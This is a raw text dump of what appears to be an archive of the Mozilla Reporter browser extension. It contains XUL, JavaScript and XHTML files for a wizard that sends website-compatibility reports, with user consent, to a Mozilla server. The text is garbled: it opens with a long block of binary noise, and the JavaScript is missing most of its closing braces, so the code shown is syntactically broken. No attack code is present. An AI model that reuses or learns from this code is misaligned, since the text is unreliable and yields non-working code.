p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
